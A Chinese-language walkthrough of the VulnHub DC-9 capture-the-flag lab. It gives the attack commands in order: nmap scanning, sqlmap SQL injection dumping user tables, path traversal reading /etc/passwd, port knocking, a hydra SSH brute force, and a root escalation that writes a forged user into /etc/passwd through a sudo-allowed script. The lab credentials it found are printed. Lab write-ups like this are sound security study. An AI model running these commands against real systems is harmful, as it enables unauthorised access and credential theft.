靶机信息
下载链接
https://www.vulnhub.com/entry/dc-9,412/
目标
获得root权限和flag。
运行环境
靶机:NAT模式,靶机自动获取IP 攻击机:windows11、kali linux
信息收集
目标发现
arp-scan -l
端口和服务识别

使用nmap扫描1-65535全端口,并做服务指纹识别,扫描结果保存到txt文件
命令:nmap -p1-65535 -A 192.168.0.148 -oN dc9.txt

发现开放80和22端口,但端口22被检测到但被过滤了,这表明确实有 SSH 服务,但有些东西从内部阻止了它。
漏洞挖掘
访问80端口页面

访问页面的几个选项,发现了搜索框和登录框


sqlmap爆数据
可能存在sql注入,为了测试此搜索框中的 SQL 注入,在搜索表单中随意输入并通过单击搜索按钮发送请求。用 BurpSuite 拦截请求包。

复制拦截的POST请求并粘贴到一个文本文件,并将其命名为 sql.txt。让sqlmap工具去跑用户名和密码
python sqlmap.py -r D:\桌面文件\sqlmap\sql.txt --dbs --batch

成功爆出数据库:information_schema、Staff和users,首先爆破users表的数据
python sqlmap.py -r D:\桌面文件\sqlmap\sql.txt -D users --dump-all --batch

爆破Staff表的数据
python sqlmap.py -r D:\桌面文件\sqlmap\sql.txt -D Staff --dump-all --batch


这里发现了admin用户,密码MD5解码一下,密码为transorbital1

目录遍历 文件包含
去登录框那里登录

但文件不存在,这意味着这里可能存在文件包含漏洞,file传参
?file=../../../../../../../etc/passwd

发现/etc/knockd.conf

端口敲门服务
下载knockd的服务
apt install knockd
开启敲门服务
systemctl start knockd
这时使用打开SSH端口的暗号敲门
knock 192.168.0.148 7469 8475 9842

再次扫描端口,发现开放了22端口

nc也可以进行敲门
nc 192.168.237.153 7469
nc 192.168.237.153 8475
nc 192.168.237.153 9842
nmap -A -T4 -p- 192.168.0.148
hydra暴力破解ssh登录的用户名和密码
利用之前sqlmap爆出的用户数据库,为SSH Service的暴力破解制作了2个字典(user.txt和pass.txt)。
创建 user.txt 和 pass.txt 字典后,我们使用 hydra 工具对目标机器上的 SSH 服务进行暴力破解。经过一些尝试,我们看到用户 janitor 是具有 SSH 访问权限的用户。
hydra -L user.txt -P pass.txt 192.168.0.148 ssh

ssh登录 janitor用户,登陆成功后,查看目录文件以及对应权限,发现有一个隐藏的目录,标记为secrets-for-putin
ls -al查看隐藏我文件

使用 cd 命令在新发现的隐藏目录中遍历。再次列出此目录中的所有内容,找到名为 passwords-found-on-post-it-notes.txt的文本文件。我们使用 cat 命令读取该txt得到了一系列密码。

编辑上面的 pass.txt 文件,并将新找到的密码附加到它。再次运行了 hydra bruteforce。这次看到我们有一些额外的有效登录账户以及密码
fredf:B4-Tru3-001

权限提升
以 fredf 用户登录后,检查这个 fredf 用户有什么样的 sudo 权限,发现一个root用户下的无密码的文件test。进入目录尝试执行


发现执行该文件需要使用python test.py才能执行。这时使用find寻找该文件,进入该文件目录并查看
find /opt -name test.py

sys.argv[1]是输入的第一个参数:r是read读,output是输出,将读的内容输出
sys.argv[2]是输入的第二个参数:a是append增加,w是写,output是sys.argv[1]里的输入的内容。
这段代码的意思是读取1中的内容并写入2中
我们使用openssl工具生成一个用户和密码

passwd的格式:用户名:密码(hash值):uid:gid:注释性描述:宿主目录:命令解释器
用户名:666 密码:666 -salt:使用撒盐加密
echo '666:$1$666$.8prVrBwKU7tneSglWDUT/:0:0::/root:/bin/bash' > 666
给用户666赋予root权限,写入文件666中。
sudo /opt/devstuff/dist/test/test /tmp/666 /etc/passwd
调用命令将666文件写入/etc/passwd中
进入/tmp目录,因为在这个目录下有写的权限,执行上述命令

提权成功
浙公网安备 33010602011771号